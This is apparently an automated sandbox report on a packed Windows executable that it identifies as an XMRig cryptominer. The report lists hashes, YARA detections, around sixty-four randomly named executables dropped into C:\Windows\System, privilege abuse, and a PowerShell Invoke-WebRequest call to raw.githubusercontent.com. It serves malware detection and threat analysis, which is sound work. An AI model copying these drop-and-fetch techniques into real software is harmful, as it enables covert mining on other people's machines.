xmrig | 4bba3602dddba48db81b06cbe5f4c1c1cec1b97afea9bc0cec72fc6073bdd281

Analysis

max time kernel
77s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
07/07/2024, 05:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

44c0051565452b0923a8225586052650N.exe
Size

1.9MB
MD5

44c0051565452b0923a8225586052650
SHA1

0f011046bba7713aba42b0e68cad19bfd0488c91
SHA256

4bba3602dddba48db81b06cbe5f4c1c1cec1b97afea9bc0cec72fc6073bdd281
SHA512

aa3396768d7e23ea90e3d875178d702b27afb0af89e0ca412a5475dd80b2601e36e6d04f9c118db82ed8941311c5d58f3dda4cd2a5b242bc354e69dee3ca472e
SSDEEP

49152:Lz071uv4BPMkyW10/w16BvZXBCurmhS+T:NAB9

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral2/memory/912-223-0x00007FF62B410000-0x00007FF62B802000-memory.dmp	xmrig
behavioral2/memory/3376-256-0x00007FF63E170000-0x00007FF63E562000-memory.dmp	xmrig
behavioral2/memory/3500-369-0x00007FF720AA0000-0x00007FF720E92000-memory.dmp	xmrig
behavioral2/memory/2572-373-0x00007FF66BD50000-0x00007FF66C142000-memory.dmp	xmrig
behavioral2/memory/1620-494-0x00007FF7A5F80000-0x00007FF7A6372000-memory.dmp	xmrig
behavioral2/memory/2628-542-0x00007FF6C7330000-0x00007FF6C7722000-memory.dmp	xmrig
behavioral2/memory/1808-549-0x00007FF60B160000-0x00007FF60B552000-memory.dmp	xmrig
behavioral2/memory/1912-553-0x00007FF73D8B0000-0x00007FF73DCA2000-memory.dmp	xmrig
behavioral2/memory/4832-567-0x00007FF72DC60000-0x00007FF72E052000-memory.dmp	xmrig
behavioral2/memory/3904-584-0x00007FF7B0130000-0x00007FF7B0522000-memory.dmp	xmrig
behavioral2/memory/1672-600-0x00007FF7F3B00000-0x00007FF7F3EF2000-memory.dmp	xmrig
behavioral2/memory/4372-824-0x00007FF785960000-0x00007FF785D52000-memory.dmp	xmrig
behavioral2/memory/4868-854-0x00007FF64E270000-0x00007FF64E662000-memory.dmp	xmrig
behavioral2/memory/2908-878-0x00007FF62D190000-0x00007FF62D582000-memory.dmp	xmrig
behavioral2/memory/4000-930-0x00007FF651980000-0x00007FF651D72000-memory.dmp	xmrig
behavioral2/memory/3500-931-0x00007FF720AA0000-0x00007FF720E92000-memory.dmp	xmrig
behavioral2/memory/1912-979-0x00007FF73D8B0000-0x00007FF73DCA2000-memory.dmp	xmrig
behavioral2/memory/2024-988-0x00007FF7CBFA0000-0x00007FF7CC392000-memory.dmp	xmrig
behavioral2/memory/1672-985-0x00007FF7F3B00000-0x00007FF7F3EF2000-memory.dmp	xmrig
behavioral2/memory/3904-984-0x00007FF7B0130000-0x00007FF7B0522000-memory.dmp	xmrig
behavioral2/memory/4832-977-0x00007FF72DC60000-0x00007FF72E052000-memory.dmp	xmrig
behavioral2/memory/1808-963-0x00007FF60B160000-0x00007FF60B552000-memory.dmp	xmrig
behavioral2/memory/3824-954-0x00007FF64FE50000-0x00007FF650242000-memory.dmp	xmrig
behavioral2/memory/1620-951-0x00007FF7A5F80000-0x00007FF7A6372000-memory.dmp	xmrig
behavioral2/memory/2628-950-0x00007FF6C7330000-0x00007FF6C7722000-memory.dmp	xmrig
behavioral2/memory/2572-924-0x00007FF66BD50000-0x00007FF66C142000-memory.dmp	xmrig
behavioral2/memory/4776-937-0x00007FF656DB0000-0x00007FF6571A2000-memory.dmp	xmrig
behavioral2/memory/1884-909-0x00007FF638E90000-0x00007FF639282000-memory.dmp	xmrig
behavioral2/memory/1228-898-0x00007FF6EFB70000-0x00007FF6EFF62000-memory.dmp	xmrig
behavioral2/memory/3992-895-0x00007FF6C5E90000-0x00007FF6C6282000-memory.dmp	xmrig
behavioral2/memory/3376-848-0x00007FF63E170000-0x00007FF63E562000-memory.dmp	xmrig
behavioral2/memory/1028-852-0x00007FF655890000-0x00007FF655C82000-memory.dmp	xmrig
behavioral2/memory/1232-833-0x00007FF6BCCA0000-0x00007FF6BD092000-memory.dmp	xmrig
behavioral2/memory/3524-827-0x00007FF703670000-0x00007FF703A62000-memory.dmp	xmrig
behavioral2/memory/2024-579-0x00007FF7CBFA0000-0x00007FF7CC392000-memory.dmp	xmrig
behavioral2/memory/3824-418-0x00007FF64FE50000-0x00007FF650242000-memory.dmp	xmrig
behavioral2/memory/4000-363-0x00007FF651980000-0x00007FF651D72000-memory.dmp	xmrig
behavioral2/memory/4776-359-0x00007FF656DB0000-0x00007FF6571A2000-memory.dmp	xmrig
behavioral2/memory/3992-353-0x00007FF6C5E90000-0x00007FF6C6282000-memory.dmp	xmrig
behavioral2/memory/1028-342-0x00007FF655890000-0x00007FF655C82000-memory.dmp	xmrig
behavioral2/memory/1884-271-0x00007FF638E90000-0x00007FF639282000-memory.dmp	xmrig
behavioral2/memory/1228-270-0x00007FF6EFB70000-0x00007FF6EFF62000-memory.dmp	xmrig
behavioral2/memory/2908-264-0x00007FF62D190000-0x00007FF62D582000-memory.dmp	xmrig
behavioral2/memory/4868-263-0x00007FF64E270000-0x00007FF64E662000-memory.dmp	xmrig
behavioral2/memory/1232-238-0x00007FF6BCCA0000-0x00007FF6BD092000-memory.dmp	xmrig
behavioral2/memory/3524-243-0x00007FF703670000-0x00007FF703A62000-memory.dmp	xmrig
behavioral2/memory/4372-227-0x00007FF785960000-0x00007FF785D52000-memory.dmp	xmrig
behavioral2/memory/4148-198-0x00007FF6D3A40000-0x00007FF6D3E32000-memory.dmp	xmrig
behavioral2/memory/912-6254-0x00007FF62B410000-0x00007FF62B802000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1512	powershell.exe
7	1512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1512	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4148	mehSkMR.exe
3524	drrLyWE.exe
4372	gNCsAbL.exe
1232	iCPtOPv.exe
3376	NUQbLWQ.exe
4868	hRRTrQE.exe
2908	hdYIIMd.exe
1028	roOppsg.exe
1228	siJXfyG.exe
1884	SrsVTgH.exe
3992	nvzayKg.exe
4776	jKfAUwl.exe
4000	TVMpbfq.exe
3500	EhbzszO.exe
2572	SeGucdt.exe
3824	jVrUrXP.exe
1620	rekfjxH.exe
2628	JQFVPSF.exe
1808	dZzGJFj.exe
1912	rwLxUXU.exe
4832	WDcFDfJ.exe
2024	gYkyXUi.exe
3904	jgTdrrx.exe
1672	ToenhOH.exe
1696	rpfNowR.exe
2552	wROycoy.exe
1596	VScFrYv.exe
4076	aGUvfqp.exe
4536	fLSdQIA.exe
5016	xbQlHbS.exe
4824	AzhygkV.exe
4160	HoevLJq.exe
876	gOqWthx.exe
4144	czfyckA.exe
1756	huTOSlR.exe
216	nFaQpAM.exe
1460	ATkOINk.exe
4976	njrbmtc.exe
1420	mSVties.exe
1952	NAKhoFd.exe
4812	sVuKKuE.exe
2864	PTZpnks.exe
748	JCVdEFa.exe
2000	kbJPEHa.exe
4488	uhNEAaL.exe
2020	ZyFNTGY.exe
4380	PUBwXwj.exe
1320	bMJDLeS.exe
1720	UiQFInT.exe
3100	kKoSQSQ.exe
1664	QQkLzKO.exe
3272	fECoZGF.exe
264	rTBtsAS.exe
3604	ETVBLGp.exe
4180	huCdESu.exe
4808	xdFtjGY.exe
2116	eDTVBYu.exe
1196	mJTqjhj.exe
4396	Ahmltcm.exe
3748	KuJfAJG.exe
2944	PQfuRuJ.exe
3608	zwwytEu.exe
5048	nJLKvkj.exe
384	hANHPuy.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/912-0-0x00007FF62B410000-0x00007FF62B802000-memory.dmp	upx
behavioral2/files/0x0008000000023474-7.dat	upx
behavioral2/files/0x0007000000023478-11.dat	upx
behavioral2/files/0x0007000000023479-16.dat	upx
behavioral2/files/0x000700000002347a-23.dat	upx
behavioral2/files/0x000700000002347b-26.dat	upx
behavioral2/files/0x000700000002347c-35.dat	upx
behavioral2/files/0x000700000002347f-45.dat	upx
behavioral2/files/0x0007000000023480-55.dat	upx
behavioral2/files/0x0007000000023481-61.dat	upx
behavioral2/files/0x0007000000023483-73.dat	upx
behavioral2/files/0x0007000000023486-85.dat	upx
behavioral2/files/0x0007000000023488-96.dat	upx
behavioral2/files/0x0007000000023489-104.dat	upx
behavioral2/files/0x000700000002348e-129.dat	upx
behavioral2/files/0x0007000000023491-144.dat	upx
behavioral2/files/0x0007000000023495-156.dat	upx
behavioral2/files/0x0007000000023494-171.dat	upx
behavioral2/memory/912-223-0x00007FF62B410000-0x00007FF62B802000-memory.dmp	upx
behavioral2/memory/3376-256-0x00007FF63E170000-0x00007FF63E562000-memory.dmp	upx
behavioral2/memory/3500-369-0x00007FF720AA0000-0x00007FF720E92000-memory.dmp	upx
behavioral2/memory/2572-373-0x00007FF66BD50000-0x00007FF66C142000-memory.dmp	upx
behavioral2/memory/1620-494-0x00007FF7A5F80000-0x00007FF7A6372000-memory.dmp	upx
behavioral2/memory/2628-542-0x00007FF6C7330000-0x00007FF6C7722000-memory.dmp	upx
behavioral2/memory/1808-549-0x00007FF60B160000-0x00007FF60B552000-memory.dmp	upx
behavioral2/memory/1912-553-0x00007FF73D8B0000-0x00007FF73DCA2000-memory.dmp	upx
behavioral2/memory/4832-567-0x00007FF72DC60000-0x00007FF72E052000-memory.dmp	upx
behavioral2/memory/3904-584-0x00007FF7B0130000-0x00007FF7B0522000-memory.dmp	upx
behavioral2/memory/1672-600-0x00007FF7F3B00000-0x00007FF7F3EF2000-memory.dmp	upx
behavioral2/memory/4372-824-0x00007FF785960000-0x00007FF785D52000-memory.dmp	upx
behavioral2/memory/4868-854-0x00007FF64E270000-0x00007FF64E662000-memory.dmp	upx
behavioral2/memory/2908-878-0x00007FF62D190000-0x00007FF62D582000-memory.dmp	upx
behavioral2/memory/4000-930-0x00007FF651980000-0x00007FF651D72000-memory.dmp	upx
behavioral2/memory/3500-931-0x00007FF720AA0000-0x00007FF720E92000-memory.dmp	upx
behavioral2/memory/1912-979-0x00007FF73D8B0000-0x00007FF73DCA2000-memory.dmp	upx
behavioral2/memory/2024-988-0x00007FF7CBFA0000-0x00007FF7CC392000-memory.dmp	upx
behavioral2/memory/1672-985-0x00007FF7F3B00000-0x00007FF7F3EF2000-memory.dmp	upx
behavioral2/memory/3904-984-0x00007FF7B0130000-0x00007FF7B0522000-memory.dmp	upx
behavioral2/memory/4832-977-0x00007FF72DC60000-0x00007FF72E052000-memory.dmp	upx
behavioral2/memory/1808-963-0x00007FF60B160000-0x00007FF60B552000-memory.dmp	upx
behavioral2/memory/3824-954-0x00007FF64FE50000-0x00007FF650242000-memory.dmp	upx
behavioral2/memory/1620-951-0x00007FF7A5F80000-0x00007FF7A6372000-memory.dmp	upx
behavioral2/memory/2628-950-0x00007FF6C7330000-0x00007FF6C7722000-memory.dmp	upx
behavioral2/memory/2572-924-0x00007FF66BD50000-0x00007FF66C142000-memory.dmp	upx
behavioral2/memory/4776-937-0x00007FF656DB0000-0x00007FF6571A2000-memory.dmp	upx
behavioral2/memory/1884-909-0x00007FF638E90000-0x00007FF639282000-memory.dmp	upx
behavioral2/memory/1228-898-0x00007FF6EFB70000-0x00007FF6EFF62000-memory.dmp	upx
behavioral2/memory/3992-895-0x00007FF6C5E90000-0x00007FF6C6282000-memory.dmp	upx
behavioral2/memory/3376-848-0x00007FF63E170000-0x00007FF63E562000-memory.dmp	upx
behavioral2/memory/1028-852-0x00007FF655890000-0x00007FF655C82000-memory.dmp	upx
behavioral2/memory/1232-833-0x00007FF6BCCA0000-0x00007FF6BD092000-memory.dmp	upx
behavioral2/memory/3524-827-0x00007FF703670000-0x00007FF703A62000-memory.dmp	upx
behavioral2/memory/2024-579-0x00007FF7CBFA0000-0x00007FF7CC392000-memory.dmp	upx
behavioral2/memory/3824-418-0x00007FF64FE50000-0x00007FF650242000-memory.dmp	upx
behavioral2/memory/4000-363-0x00007FF651980000-0x00007FF651D72000-memory.dmp	upx
behavioral2/memory/4776-359-0x00007FF656DB0000-0x00007FF6571A2000-memory.dmp	upx
behavioral2/memory/3992-353-0x00007FF6C5E90000-0x00007FF6C6282000-memory.dmp	upx
behavioral2/memory/1028-342-0x00007FF655890000-0x00007FF655C82000-memory.dmp	upx
behavioral2/memory/1884-271-0x00007FF638E90000-0x00007FF639282000-memory.dmp	upx
behavioral2/memory/1228-270-0x00007FF6EFB70000-0x00007FF6EFF62000-memory.dmp	upx
behavioral2/memory/2908-264-0x00007FF62D190000-0x00007FF62D582000-memory.dmp	upx
behavioral2/memory/4868-263-0x00007FF64E270000-0x00007FF64E662000-memory.dmp	upx
behavioral2/memory/1232-238-0x00007FF6BCCA0000-0x00007FF6BD092000-memory.dmp	upx
behavioral2/memory/3524-243-0x00007FF703670000-0x00007FF703A62000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\TqUHnlQ.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\iwJXbmy.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\pdKNQWE.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\hoRqvKd.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\oTacGMU.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\gxnXCZB.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\cTyVkAl.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\wvKSFmb.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\okdLZqm.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\WrCzdHz.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\jyXMxJW.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\gOqWthx.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\nFaQpAM.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\HtZuJvH.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\FxjblGv.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\giBROrh.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\uRSLowg.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\fwYCAex.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\nffJRFZ.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\dOvNVyj.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\sHcJNHI.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\YgZuaQM.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\BHTUbYL.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\YXGblwW.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\PtGkpTG.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\JyHovmQ.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\AiVxahe.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\XXNzDIW.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\CWmMIeq.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\FhPAArd.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\nfNqiDI.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\ACGcles.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\AzhygkV.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\HfHPnwL.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\zVuLclq.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\KuJfAJG.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\wnnfwVx.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\GQplOPo.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\qzRSFpu.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\yorfuyC.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\rTBtsAS.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\lSOXVib.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\LFOKqMa.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\XXQbQkx.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\ofvqfBg.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\zmrMVtT.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\DXjgwZD.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\gwPjasU.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\guphHvO.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\pYxEUHp.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\rawTzsb.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\ENOjuFx.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\UiQFInT.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\LfpRbNW.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\cGrLJjC.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\nOLPxPO.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\FpQTbua.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\zWqNUdl.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\SDYdLAs.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\PaNdjhe.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\plmmTxp.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\zutUDsL.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\eTsOwLv.exe	44c0051565452b0923a8225586052650N.exe
File created	C:\Windows\System\rBuFAkC.exe	44c0051565452b0923a8225586052650N.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1512	powershell.exe
1512	powershell.exe
1512	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	912	44c0051565452b0923a8225586052650N.exe
Token: SeLockMemoryPrivilege	912	44c0051565452b0923a8225586052650N.exe
Token: SeDebugPrivilege	1512	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 1512	912	44c0051565452b0923a8225586052650N.exe	85
PID 912 wrote to memory of 1512	912	44c0051565452b0923a8225586052650N.exe	85
PID 912 wrote to memory of 4148	912	44c0051565452b0923a8225586052650N.exe	86
PID 912 wrote to memory of 4148	912	44c0051565452b0923a8225586052650N.exe	86
PID 912 wrote to memory of 3524	912	44c0051565452b0923a8225586052650N.exe	87
PID 912 wrote to memory of 3524	912	44c0051565452b0923a8225586052650N.exe	87
PID 912 wrote to memory of 4372	912	44c0051565452b0923a8225586052650N.exe	88
PID 912 wrote to memory of 4372	912	44c0051565452b0923a8225586052650N.exe	88
PID 912 wrote to memory of 1232	912	44c0051565452b0923a8225586052650N.exe	89
PID 912 wrote to memory of 1232	912	44c0051565452b0923a8225586052650N.exe	89
PID 912 wrote to memory of 3376	912	44c0051565452b0923a8225586052650N.exe	90
PID 912 wrote to memory of 3376	912	44c0051565452b0923a8225586052650N.exe	90
PID 912 wrote to memory of 4868	912	44c0051565452b0923a8225586052650N.exe	91
PID 912 wrote to memory of 4868	912	44c0051565452b0923a8225586052650N.exe	91
PID 912 wrote to memory of 2908	912	44c0051565452b0923a8225586052650N.exe	92
PID 912 wrote to memory of 2908	912	44c0051565452b0923a8225586052650N.exe	92
PID 912 wrote to memory of 1028	912	44c0051565452b0923a8225586052650N.exe	93
PID 912 wrote to memory of 1028	912	44c0051565452b0923a8225586052650N.exe	93
PID 912 wrote to memory of 1228	912	44c0051565452b0923a8225586052650N.exe	94
PID 912 wrote to memory of 1228	912	44c0051565452b0923a8225586052650N.exe	94
PID 912 wrote to memory of 1884	912	44c0051565452b0923a8225586052650N.exe	95
PID 912 wrote to memory of 1884	912	44c0051565452b0923a8225586052650N.exe	95
PID 912 wrote to memory of 3992	912	44c0051565452b0923a8225586052650N.exe	96
PID 912 wrote to memory of 3992	912	44c0051565452b0923a8225586052650N.exe	96
PID 912 wrote to memory of 4776	912	44c0051565452b0923a8225586052650N.exe	97
PID 912 wrote to memory of 4776	912	44c0051565452b0923a8225586052650N.exe	97
PID 912 wrote to memory of 4000	912	44c0051565452b0923a8225586052650N.exe	98
PID 912 wrote to memory of 4000	912	44c0051565452b0923a8225586052650N.exe	98
PID 912 wrote to memory of 3500	912	44c0051565452b0923a8225586052650N.exe	99
PID 912 wrote to memory of 3500	912	44c0051565452b0923a8225586052650N.exe	99
PID 912 wrote to memory of 2572	912	44c0051565452b0923a8225586052650N.exe	100
PID 912 wrote to memory of 2572	912	44c0051565452b0923a8225586052650N.exe	100
PID 912 wrote to memory of 3824	912	44c0051565452b0923a8225586052650N.exe	101
PID 912 wrote to memory of 3824	912	44c0051565452b0923a8225586052650N.exe	101
PID 912 wrote to memory of 1620	912	44c0051565452b0923a8225586052650N.exe	102
PID 912 wrote to memory of 1620	912	44c0051565452b0923a8225586052650N.exe	102
PID 912 wrote to memory of 2628	912	44c0051565452b0923a8225586052650N.exe	103
PID 912 wrote to memory of 2628	912	44c0051565452b0923a8225586052650N.exe	103
PID 912 wrote to memory of 1808	912	44c0051565452b0923a8225586052650N.exe	104
PID 912 wrote to memory of 1808	912	44c0051565452b0923a8225586052650N.exe	104
PID 912 wrote to memory of 1912	912	44c0051565452b0923a8225586052650N.exe	105
PID 912 wrote to memory of 1912	912	44c0051565452b0923a8225586052650N.exe	105
PID 912 wrote to memory of 4832	912	44c0051565452b0923a8225586052650N.exe	106
PID 912 wrote to memory of 4832	912	44c0051565452b0923a8225586052650N.exe	106
PID 912 wrote to memory of 2024	912	44c0051565452b0923a8225586052650N.exe	107
PID 912 wrote to memory of 2024	912	44c0051565452b0923a8225586052650N.exe	107
PID 912 wrote to memory of 3904	912	44c0051565452b0923a8225586052650N.exe	108
PID 912 wrote to memory of 3904	912	44c0051565452b0923a8225586052650N.exe	108
PID 912 wrote to memory of 1672	912	44c0051565452b0923a8225586052650N.exe	109
PID 912 wrote to memory of 1672	912	44c0051565452b0923a8225586052650N.exe	109
PID 912 wrote to memory of 1696	912	44c0051565452b0923a8225586052650N.exe	110
PID 912 wrote to memory of 1696	912	44c0051565452b0923a8225586052650N.exe	110
PID 912 wrote to memory of 2552	912	44c0051565452b0923a8225586052650N.exe	111
PID 912 wrote to memory of 2552	912	44c0051565452b0923a8225586052650N.exe	111
PID 912 wrote to memory of 1596	912	44c0051565452b0923a8225586052650N.exe	112
PID 912 wrote to memory of 1596	912	44c0051565452b0923a8225586052650N.exe	112
PID 912 wrote to memory of 4076	912	44c0051565452b0923a8225586052650N.exe	113
PID 912 wrote to memory of 4076	912	44c0051565452b0923a8225586052650N.exe	113
PID 912 wrote to memory of 4536	912	44c0051565452b0923a8225586052650N.exe	114
PID 912 wrote to memory of 4536	912	44c0051565452b0923a8225586052650N.exe	114
PID 912 wrote to memory of 5016	912	44c0051565452b0923a8225586052650N.exe	115
PID 912 wrote to memory of 5016	912	44c0051565452b0923a8225586052650N.exe	115
PID 912 wrote to memory of 4824	912	44c0051565452b0923a8225586052650N.exe	116
PID 912 wrote to memory of 4824	912	44c0051565452b0923a8225586052650N.exe	116

C:\Users\Admin\AppData\Local\Temp\44c0051565452b0923a8225586052650N.exe
"C:\Users\Admin\AppData\Local\Temp\44c0051565452b0923a8225586052650N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1512" "2856" "2796" "2860" "0" "0" "2864" "0" "0" "0" "0" "0"
    3⤵
    PID:7276
- C:\Windows\System\mehSkMR.exe
  C:\Windows\System\mehSkMR.exe
  2⤵
  - Executes dropped EXE
  PID:4148
- C:\Windows\System\drrLyWE.exe
  C:\Windows\System\drrLyWE.exe
  2⤵
  - Executes dropped EXE
  PID:3524
- C:\Windows\System\gNCsAbL.exe
  C:\Windows\System\gNCsAbL.exe
  2⤵
  - Executes dropped EXE
  PID:4372
- C:\Windows\System\iCPtOPv.exe
  C:\Windows\System\iCPtOPv.exe
  2⤵
  - Executes dropped EXE
  PID:1232
- C:\Windows\System\NUQbLWQ.exe
  C:\Windows\System\NUQbLWQ.exe
  2⤵
  - Executes dropped EXE
  PID:3376
- C:\Windows\System\hRRTrQE.exe
  C:\Windows\System\hRRTrQE.exe
  2⤵
  - Executes dropped EXE
  PID:4868
- C:\Windows\System\hdYIIMd.exe
  C:\Windows\System\hdYIIMd.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\roOppsg.exe
  C:\Windows\System\roOppsg.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\siJXfyG.exe
  C:\Windows\System\siJXfyG.exe
  2⤵
  - Executes dropped EXE
  PID:1228
- C:\Windows\System\SrsVTgH.exe
  C:\Windows\System\SrsVTgH.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\nvzayKg.exe
  C:\Windows\System\nvzayKg.exe
  2⤵
  - Executes dropped EXE
  PID:3992
- C:\Windows\System\jKfAUwl.exe
  C:\Windows\System\jKfAUwl.exe
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\System\TVMpbfq.exe
  C:\Windows\System\TVMpbfq.exe
  2⤵
  - Executes dropped EXE
  PID:4000
- C:\Windows\System\EhbzszO.exe
  C:\Windows\System\EhbzszO.exe
  2⤵
  - Executes dropped EXE
  PID:3500
- C:\Windows\System\SeGucdt.exe
  C:\Windows\System\SeGucdt.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\jVrUrXP.exe
  C:\Windows\System\jVrUrXP.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Windows\System\rekfjxH.exe
  C:\Windows\System\rekfjxH.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\JQFVPSF.exe
  C:\Windows\System\JQFVPSF.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\dZzGJFj.exe
  C:\Windows\System\dZzGJFj.exe
  2⤵
  - Executes dropped EXE
  PID:1808
- C:\Windows\System\rwLxUXU.exe
  C:\Windows\System\rwLxUXU.exe
  2⤵
  - Executes dropped EXE
  PID:1912
- C:\Windows\System\WDcFDfJ.exe
  C:\Windows\System\WDcFDfJ.exe
  2⤵
  - Executes dropped EXE
  PID:4832
- C:\Windows\System\gYkyXUi.exe
  C:\Windows\System\gYkyXUi.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\jgTdrrx.exe
  C:\Windows\System\jgTdrrx.exe
  2⤵
  - Executes dropped EXE
  PID:3904
- C:\Windows\System\ToenhOH.exe
  C:\Windows\System\ToenhOH.exe
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Windows\System\rpfNowR.exe
  C:\Windows\System\rpfNowR.exe
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Windows\System\wROycoy.exe
  C:\Windows\System\wROycoy.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\VScFrYv.exe
  C:\Windows\System\VScFrYv.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Windows\System\aGUvfqp.exe
  C:\Windows\System\aGUvfqp.exe
  2⤵
  - Executes dropped EXE
  PID:4076
- C:\Windows\System\fLSdQIA.exe
  C:\Windows\System\fLSdQIA.exe
  2⤵
  - Executes dropped EXE
  PID:4536
- C:\Windows\System\xbQlHbS.exe
  C:\Windows\System\xbQlHbS.exe
  2⤵
  - Executes dropped EXE
  PID:5016
- C:\Windows\System\AzhygkV.exe
  C:\Windows\System\AzhygkV.exe
  2⤵
  - Executes dropped EXE
  PID:4824
- C:\Windows\System\HoevLJq.exe
  C:\Windows\System\HoevLJq.exe
  2⤵
  - Executes dropped EXE
  PID:4160
- C:\Windows\System\gOqWthx.exe
  C:\Windows\System\gOqWthx.exe
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Windows\System\czfyckA.exe
  C:\Windows\System\czfyckA.exe
  2⤵
  - Executes dropped EXE
  PID:4144
